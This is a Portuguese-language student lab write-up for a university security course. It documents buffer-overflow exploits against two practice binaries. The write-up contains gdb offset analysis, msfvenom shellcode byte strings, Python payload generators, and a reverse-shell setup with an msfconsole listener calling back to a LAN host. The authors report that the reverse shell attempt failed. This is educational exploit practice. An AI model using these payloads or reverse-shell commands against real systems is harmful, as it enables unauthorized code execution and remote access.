My buffer overflow attack for the Computational Security in UFPR
Para facilitar o processo vamos desabilitar o ASLR (Address Space Layout Randomization).
echo 0 | sudo tee /proc/sys/kernel/randomize_va_spaceAntes de tudo, vamos analisar se o programa em questão é vunerável a buffer overflow.
Para isso, iremos executar o programa sem input valido e ver o que acontece.
echo "" | ./bogdb.elf
Digite a senha:
[!] Errou...Agora, iremos executar o programa com um input maior que o buffer.
python3 -c "print('A'*50)" | ./bogdb.elf
Digite a senha:
[!] Errou...
*** Parabéns, você entrou no sistema! ***
Segmentation fault (core dumped)Podemos ver que o programa é vunerável a buffer overflow.
Para explorar o buffer overflow e abrir uma shell, iremos seguir os seguintes passos:
- descobrir o endereço do do buffer
- descobrir o endereço do registrador de retorno
- descobrir a distancia entre o buffer e o registrador de retorno
- preencher o buffer com um padding, sobrescrever o endereço de retorno por uma variável de ambiente
- executar o programa
Iremos rodar o executável bogdb.elf utilizando o gdb.
Podemos analisar o assembly da função main utilizando o comando disas main
Veremos algo como:
0x0000000000001165 <+0>: push %rbp
0x0000000000001166 <+1>: mov %rsp,%rbp
0x0000000000001169 <+4>: sub $0x10,%rsp
0x000000000000116d <+8>: movl $0x0,-0x4(%rbp)
0x0000000000001174 <+15>: lea 0xe8d(%rip),%rdi # 0x2008
0x000000000000117b <+22>: mov $0x0,%eax
0x0000000000001180 <+27>: call 0x1040 <printf@plt>
0x0000000000001185 <+32>: lea -0xd(%rbp),%rax
0x0000000000001189 <+36>: mov %rax,%rdi
0x000000000000118c <+39>: mov $0x0,%eax
0x0000000000001191 <+44>: call 0x1060 <gets@plt>
0x0000000000001196 <+49>: lea -0xd(%rbp),%rax
0x000000000000119a <+53>: lea 0xe79(%rip),%rsi # 0x201a
0x00000000000011a1 <+60>: mov %rax,%rdi
0x00000000000011a4 <+63>: call 0x1050 <strcmp@plt>
0x00000000000011a9 <+68>: test %eax,%eax
0x00000000000011ab <+70>: je 0x11bb <main+86>
0x00000000000011ad <+72>: lea 0xe6f(%rip),%rdi # 0x2023
0x00000000000011b4 <+79>: call 0x1030 <puts@plt>
0x00000000000011b9 <+84>: jmp 0x11ce <main+105>
0x00000000000011bb <+86>: lea 0xe6f(%rip),%rdi # 0x2031
0x00000000000011c2 <+93>: call 0x1030 <puts@plt>
0x00000000000011c7 <+98>: movl $0x1,-0x4(%rbp)
0x00000000000011ce <+105>: cmpl $0x0,-0x4(%rbp)
0x00000000000011d2 <+109>: je 0x11e0 <main+123>
0x00000000000011d4 <+111>: lea 0xe6d(%rip),%rdi # 0x2048
0x00000000000011db <+118>: call 0x1030 <puts@plt>
0x00000000000011e0 <+123>: mov $0x0,%eax
0x00000000000011e5 <+128>: leave
0x00000000000011e6 <+129>: ret Para conseguir mais informações sobre o programa, iremos adicionar um breakpoint logo antes da função gets e rodar o programa.
(gdb) b *main+39Para descobrirmos o endereço do buffer podemos fazer:
(gdb) p &buff
$2 = (char (*)[9]) 0x7fffffffdc83Assim o endereço do buffer é 0x7fffffffdc83
De forma similar, podemos descobrir o endereço do registrador de retorno utilizando:
(gdb) info frame
Stack level 0, frame at 0x7fffffffdca0:
rip = 0x55555555518c in main (bufferoverflow1.c:10); saved rip = 0x7ffff7c29d90
source language c.
Arglist at 0x7fffffffdc90, args:
Locals at 0x7fffffffdc90, Previous frame's sp is 0x7fffffffdca0
Saved registers:
rbp at 0x7fffffffdc90, rip at 0x7fffffffdc98Assim o endereço do registrador de retorno é 0x7fffffffdc98
Para descobrirmos a distancia entre o buffer e o registrador de retorno, basta subtrair os dois endereços:
(gdb) p 0x7fffffffdc98 - 0x7fffffffdc83
$6 = 21Isso significa que precisaremos de um padding de 21 bytes para preencher o buffer e chegar no registrador de retorno.
Para gerar o shellcode, iremos utilizar o msfvenom:
msfvenom -p linux/x64/exec -b '\x00' -f pythoniremos inserir o shellcode na variável de ambiente SHELLCODE:
export SHELLCODE=$(python2 -c 'print "\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x96\x4c\xb7\xfa\xd0\x9f\x7c\xd5\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xde\xf4\x98\x98\xb9\xf1\x53\xa6\xfe\x4c\x2e\xaa\x84\xc0\x2e\x8b\xfc\x77\xef\xf5\xd5\x9f\x7c\xd5"')Para descobrir o endereço da variável de ambiente, vamos utilizar um programa em C que imprime o endereço de uma variável de ambiente.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}Dessa forma, vamos descobrir que o endereço da variável de ambiente é 0x7FFFFFFFE234.
Vamos gerar o input para o programa utilizando o seguinte comando:
from struct import pack
buf = ""
buf += "A" * 21
buf += pack("<Q", 0x7FFFFFFFE234)
with open("payload.txt", "w") as f:
f.write(buf)Se executarmos o programa utilizando como input o arquivo payload.txt, dentro do gdb, podemos conferir que o valor do RIP foi substituido pelo endereço da variável de ambiente SHELLCODE.
(gdb) info frame
Stack level 0, frame at 0x7fffffffdc80:
rip = 0x5555555551a1 in main (bufferoverflow1.c:12); saved rip = 0x7fffffffe234
source language c.
Arglist at 0x7fffffffdc70, args:
Locals at 0x7fffffffdc70, Previous frame's sp is 0x7fffffffdc80
Saved registers:
rbp at 0x7fffffffdc70, rip at 0x7fffffffdc78
(gdb) x/x 0x7fffffffdc78
0x7fffffffdc78: 0xffffe234Para executar o shellcode, vamos utilizar o seguinte comando:
(cat payload.txt; cat) | ./bogdb.elfreceberemos um shell com permissões do usuário que executou o programa.
Temos um programa que executa um servidor na porta escolhida. Vamos rodar o programa e enviar comandos para o servidor através do telnet.
./badserver.elf 1234telnet localhost 1234Assim podemos enviar comandos para o servidor e receber a resposta.
O objetivo é conseguir executar um shellcode que faça uma shell reversa para o nossa máquina.
Como não temos o código fonte do programa, vamos utilizar o gdb-peda para descobrir o tamanho do buffer.
Usando o comando pattern create 500, podemos criar um input de 500 bytes para o programa. Se executarmos o programa com esse input, ele irá travar e o gdb irá nos mostrar o valor dos registradores na hora do travamento.
com isso, conseguimos descobrir o valor do registrador rip na hora do travamento:
RBP: 0x6141414541412941 ('A)AAEAAa')com isso, podemos descobrir o tamanho do buffer:
(gdb) pattern offset 0x6141414541412941
7007954260868540737 found at offset: 40Dessa forma, descobrimos que o tamanho máximo do buffer é de 40 bytes
Iremos utilizar novamente o msfvenom para gerar o shellcode:
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.0.10 LPORT=5000 -f python -b "\x00".salvaremos o shellcode resultante em um arquivo payload.txt.
Para que a shell reversa funcione, precisamos que o programa execute o shellcode. Para isso, vamos construir nosso payload da seguinte forma:
- Preencher o buffer com 40 bytes de padding
- Preencher sobrescrever o endereço de retorno com um endereço a frente do RIP
- Preencher com alguns NOP's
- Preencher com o shellcode
Nosso programa ficou algo como:
from struct import pack
buf = "A" * 40
buf += pack("<Q", 0x00005555555553FD + 8) # return address
# add nops
buf += b"\x90" * 100
# add shellcode
buf += b"\x48\x31\xc9\x48\x81\xe9\xef\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\xd6\x4f\x8e\x24\x93"
buf += b"\xf8\x52\x0a\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xe7\xb0\xe4\x2d\xcb\x61\xe4\x1a\x9e"
buf += b"\xc6\x58\x69\xa2\x31\x38\x28\x97\x15\xe4\x23\xc9"
buf += b"\xf7\x57\x42\x53\x8f\xf6\x75\xf9\xf2\x13\x53\x86"
buf += b"\x25\xa7\x7c\x0a\x92\x50\x55\xbc\x4e\xd0\x2b\x96"
buf += b"\xb0\xd7\xca\xae\x74\xc6\xb3\xdb\x41\x50\x0a\xc5"
buf += b"\xc7\x4e\x8c\x93\xf2\x03\x42\x5f\xa9\xe4\x34\xc9"
buf += b"\x92\x78\x52\xd9\x4a\xd7\x6c\x16\x38\x2b\x2f\x9f"
buf += b"\xb0\x47\x50\x8b\xaf\x38\x29\x8e\x25\x8e\x4e\x96"
buf += b"\xb0\xdb\xed\x9e\x7e\x78\x2b\x96\xa1\x0b\x55\x9e"
buf += b"\xca\x4e\x5d\x54\x92\x6e\x52\xbc\x4e\xd1\x2b\x96"
buf += b"\xa6\x38\x2c\x8c\x40\x8b\x6c\x16\x38\x2a\xe7\x29"
buf += b"\xa9\x8e\x24\x93\xf8\x52\x0a"
with open("payload.txt", "w") as f:
f.write(buf)Somamos 8 com o objetivo de pular o endereço de retorno e cair nos NOP's. O endereço de retorno foi descoberto através do comando info frame no gdb peda.
Para executar o shellcode, precisamos também de um listener na porta 5000. Para isso, vamos utilizar o msfconsole:
msfconsoleuse exploit/multi/handler
set payload linux/x64/shell/reverse_tcp
set LHOST 192.168.0.10
set LPORT 5000
runAgora, basta executar o programa e enviar o payload:
./badserver.elf 1234telnet localhost 1234 < payload.txtCom isso deveriamos receber uma conexão reversa no msfconsole.
Infelizmente não conseguimos realizar a shell reversa. Durante os testes, conseguimos substituir o endereço de retorno, mas não conseguiamos enxergar os NOP's e o shellcode.
gdb-peda$ x/50x $rsp
0x7fffffffd810: 0x4141414141414141 0x4141414141414141
0x7fffffffd820: 0x4141414141414141 0x4141414141414141
0x7fffffffd830: 0x0041414141414141 0x0000000000000000
# deveriamos ver os NOP's e o shellcode aqui
0x7fffffffd840: 0x00007ffff7c0d560 0x00007ffff7c7f1b0
0x7fffffffd850: 0x000055555555554a 0x00007fffffffdc40
0x7fffffffd860: 0x00007fffffffdc90 0x00007fffffffddc8- Vinícius Fontoura de Abreu (GRR20206873)
- Guiusepe Oneda Dal Pai (GRR20210572)